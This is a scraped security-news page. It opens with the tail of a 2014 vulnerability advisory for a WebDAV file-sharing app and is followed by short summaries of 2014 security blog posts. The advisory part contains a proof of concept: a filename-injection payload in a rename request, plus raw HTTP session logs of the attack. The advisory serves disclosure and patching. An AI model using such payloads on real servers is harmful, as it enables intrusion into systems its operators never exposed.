User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost/Documents/]
      Cookie[otsessionid=; otsessionid=]





1.3
The local file include web vulnerability can be exploited by local attackers without privileged application user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: localhost:8080/Documents/ - Web Dav via Rename function

<table>
  <thead style="display: table-header-group;" id="ot_file_listing_header">
    <tr>
      <th></th>
      <th id="ot_name_header" class="text-left sort">Name<img src="D52A0C4C-AB72-4105-9AD1-77E0FD6B18CE"></th>
      <th id="ot_size_header" class="text-right sort">Größe<img src="D52A0C4C-AB72-4105-9AD1-77E0FD6B18CE" style="visibility:hidden"></th>
      <th></th>
      <th id="ot_date_header" class="text-left sort">Datum<img src="D52A0C4C-AB72-4105-9AD1-77E0FD6B18CE" style="visibility:hidden"></th>
    </tr>
  </thead>
  <tbody id="ot_file_listing">
<tr selected="yes"><td><input type="checkbox"></td><td class="name"><a collection="no"
href="/Documents/Willkommen.docx%20%22%3E%3Ciframe%20src%3Da%3E"><img src="/85AEFEF7-ABF5-4199-84FF-C694D6E47DC2">
<span class="filename">Willkommen.docx "><./[FILE INCLUDE VULNERABILITY VIA FILENAME!]></span></a></td><td class="size">5 KB</td><td class="download"></td>
<td class="date">15 Sep. 21:04</td></tr>
</tbody>
</table> <!-- ot_file_listing -->
<br>
<h3 style="display: none;" id="ot_noitems">(Keine Elemente)</h3>
<br>
<div class="ot_notification_container">
  <span style="visibility: hidden;" id="ot_notification_bottom" class="ot_notification"></span>
</div>


--- PoC Session Logs ---

Status: 201[Created]
MOVE http://192.168.2.104/Documents/Willkommen.docx Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[192.168.2.104]
      User-Agent
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
  X-Requested-With[XMLHttpRequest]
      Destination[http://192.168.2.104/Documents/Willkommen.docx%20%22%3E%3C./[FILE INCLUDE VULNERABILITY VIA FILENAME!]%3Da%3E]
      Overwrite[F]
      Referer[http://192.168.2.104/Documents/]
Content-Length[0]
      Content-Type[text/plain; charset=UTF-8]
      Cookie[otsessionid=; otsessionid=]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[none]
      Content-Length[0]
      Server[OTDAV/2.0.2]
Location[http://192.168.2.104/Documents/Willkommen.docx%20%22%3E%3C./[FILE INCLUDE VULNERABILITY VIA FILENAME!]%3Da%3E]
      Date[Mon, 13 Oct 2014 17:53:40 GMT]


Status: 200[OK]
GET http://192.168.2.104/Documents/./[FILE INCLUDE VULNERABILITY VIA FILENAME!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host
[192.168.2.104]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
      Referer[http://192.168.2.104/Documents/]
      Cookie[otsessionid=; otsessionid=]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[none]
      Content-Length[0]
      Server[OTDAV/2.0.2]
     Connection[close]
      Date[Mon, 13 Oct 2014 17:53:40 GMT]


Solution - Fix & Patch:
=======================
1.1
The code execution issue can be patched by a secure parse and encode of the `Ordner Erstellen` input field. The code execution can be prevented by a secure restriction of the ot_notification value.

1.2
The local file include web vulnerability can be patched by a secure parse and encode of the filename value. Restrict the usage of the rename and move request
to prevent further file include attacks.
Encode the filename value in each web-dav interface site to prevent the file include request execution.

1.3
To parse the command inject vulnerability it is required to encode the devicename value of the local device itself.
Encode the output in the web-dav interface header section to prevent the execution of a payload through the devicename value.


Security Risk:
==============
1.1
The security risk of the code execution vulnerability in the `Ordner Erstellen` module is estimated as critical.

1.2
The security risk of the local file include web vulnerability in the filename validation is estimated as high.

1.3
The security risk of the local command inject web vulnerability in the devicename value is etimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com         - research@vulnerability-lab.com                        - admin@evolution-sec.com
Section:    dev.vulnerability-db.com            - forum.vulnerability-db.com                            - magazine.vulnerability-db.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

                                Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

Malvertising Payload Targets Home Routers

$
0
0
A few weeks ago we wrote about compromised websites being used to attack your web routers at home by changing DNS settings. In that scenario the attackers embedded iFrames to do the heavy lifting, the short fall with this method is they require a website to inject the iFrame. As is often the case, tactics change, and while home routers still seem to be of interest, the latest tactic seems to take the conquer one, conquer all idiom very seriously by targeting ad networks in a concept known as malvertising.

more here..........http://blog.sucuri.net/2014/10/malvertising-payload-targets-home-routers.html

Strengthening 2-Step Verification with Security Key

$
0
0
2-Step Verification offers a strong extra layer of protection for Google Accounts. Once enabled, you’re asked for a verification code from your phone in addition to your password, to prove that it’s really you signing in from an unfamiliar device. Hackers usually work from afar, so this second factor makes it much harder for a hacker who has your password to access your account, since they don’t have your phone.

Today we’re adding even stronger protection for particularly security-sensitive individuals


more here..........http://googleonlinesecurity.blogspot.com/2014/10/strengthening-2-step-verification-with.html

Reverse Engineering a Web Application For fun, behavior & WAF Detection

$
0
0
Screening HTTP traffic can be something really tricky and attacks to applications are becoming increasingly complex day by day. By analyzing thousands upon thousands of infections, we noticed that regular blacklisting is increasingly failing so we started research on a new approach to mitigate the problem. We started with reverse engineering the most popular CMS applications such as Joomla, vBulletin and WordPress, which led to us to creating a way to detect attackers based on whitelist protection in combination with behavior analysis.  Integrating traffic analysis with log correlation has resulted in more than 2500 websites now being protected, generating 2 to 3 million alerts daily with a low false positive rate. In this presentation we will share some of our research, our results and how we have maintained WAF (Web Application Firewall) using very low CPU processes and high detection rates.

more here............http://blog.c22.cc/2014/10/21/sectorca-reverse-engineering-a-web-application-for-fun-behavior-waf-detection/

R7-2014-17: NAT-PMP Implementation and Configuration Vulnerabilities

$
0
0
In the summer of 2014, Rapid7 Labs started scanning the public Internet for NAT-PMP as part of Project Sonar.  NAT-PMP is a protocol implemented by many SOHO-class routers and networking devices that allows firewall and routing rules to be manipulated to enable internal, assumed trusted users behind a NAT device to allow external users to access internal TCP and UDP services for things like Apple's Back to My Mac and file/media sharing services.  NAT-PMP is a simplistic but useful protocol, however the majority of the security mechanisms rely on proper implementation of the protocol and a keen eye on the configuration of the service(s) implementing NAT-PMP.  Unfortunately, after performing these harmless scans across UDP port 5351 and testing theories in a controlled lab environment, it was discovered that 1.2 million devices on the public Internet are potentially vulnerable to flaws that allow interception of sensitive, private traffic on the internal and external interfaces of a NAT device as well as various other flaws.


more here............https://community.rapid7.com/community/metasploit/blog/2014/10/21/r7-2014-17-nat-pmp-implementation-and-configuration-vulnerabilities

Update on the Torrentlocker ransomware

$
0
0
Payments for the ransom have to be done in Bitcoins. We have identified 7 Bitcoin addresses that received ransom payments. The total income as of the 21th of October is 862,79539531 BTC which comes down to 257.393,45 EURO made in payments to the criminals. Based on the current BTC price for the ransom, currently 1.32 BTC about 400 EURO, we can say that at least 653 victims have paid the ransom. We have confirmed 4180 infected clients up until October 21st. If they would all pay the ransom that would amount to 1.6 million euros.

more here..........http://blog.fox-it.com/2014/10/21/update-on-the-torrentlocker-ransomware/

Hostile Subdomain Takeover using Heroku/Github/Desk + more

$
0
0
Hackers can claim subdomains with the help of external services. This attack is practically non-traceable, and affects at least 17 large service providers and multiple domains are affected. Find out if you are one of them by using our quick tool, or go through your DNS-entries and remove all which are active and unused OR pointing to External Services which you do not use anymore.

The team at Detectify has recently identified a serious attack vector resulting from a widespread DNS misconfiguration. The misconfiguration allows an attacker to take full control over subdomains pointing to providers such as Heroku, Github, Bitbucket, Desk, Squarespace and Shopify.


more here...........http://blog.detectify.com/post/100600514143/hostile-subdomain-takeover-using-heroku-github-desk

New Exploit of Sandworm Zero-Day Could Bypass Official Patch

$
0
0
During the last few days researchers at McAfee Labs have been actively investigating Sandworm, the Windows packager zero-day attack (CVE-2014-4114). McAfee has already released various updates through our products to protect our customers, and we continue to analyze this attack.
During our investigation, we found that the Microsoft’s official patch (MS14-060, KB3000869) is not robust enough. In other words, attackers might still be able to exploit the vulnerability even after the patch is applied. Users who have installed the official patch are still at risk.

more here...........http://blogs.mcafee.com/mcafee-labs/new-exploit-sandworm-zero-day-bypass-official-patch

Crypto- Advanced crypto library for the Go language

$
0
0
This package provides a toolbox of advanced cryptographic primitives for Go, targeting applications like Dissent that need more than straightforward signing and encryption.

more here...........https://github.com/DeDiS/crypto

Vulnerability in Microsoft OLE Could Allow Remote Code Execution

$
0
0
Microsoft is aware of a vulnerability affecting all supported releases of Microsoft Windows, excluding Windows Server 2003. The vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office file that contains an OLE object. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. Customers whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights. The attack requires user interaction to succeed on Windows clients with a default configuration, as User Account Control (UAC) is enabled and a consent prompt is displayed.
At this time, we are aware of limited, targeted attacks that attempt to exploit the vulnerability through Microsoft PowerPoint.

more here............https://technet.microsoft.com/library/security/3010060

Rogue Android Apps Hosting Web Site Exposes Malicious Infrastructure

$
0
0
With cybercriminals continuing to populate the cybercrime ecosystem with automatically generated and monetized mobile malware variants, we continue to observe a logical shift towards convergence of cybercrime-friendly revenue sharing affiliate networks, and malicious infrastructure providers, on their way to further achieve a posive ROI (return on investment) out of their risk-forwarding fraudulent activities.

I've recently spotted a legitimately looking, rogue Android apps hosting Web site, directly connected to a market leading DIY API-enabled mobile malware generating/monetizing platform, further exposing related fraudulent operations, performed, while utilizing the malicious infrastructure, which I'll expose in this post.


more here..........http://ddanchev.blogspot.com/2014/10/rogue-android-apps-hosting-web-site.html

ECMAScript 6 for Penetration Testers “Notes on how the new JavaScript changes Web- and DOM Security”

$
0
0
ECMAScript 6 will bring many changes to how JavaScript code works and what language
features developers can benefit from. While the specifiers are still actively discussing some
features on their mailing lists, certain browser vendors decided to jump ahead and start
implementing them. Let’s have a look at still actively discussing some features and what we
need to know in order to be prepared for upcoming script injection attacks.


more here............https://cure53.de/es6-for-penetration-testers.pdf
Viewing all 8064 articles
Browse latest View live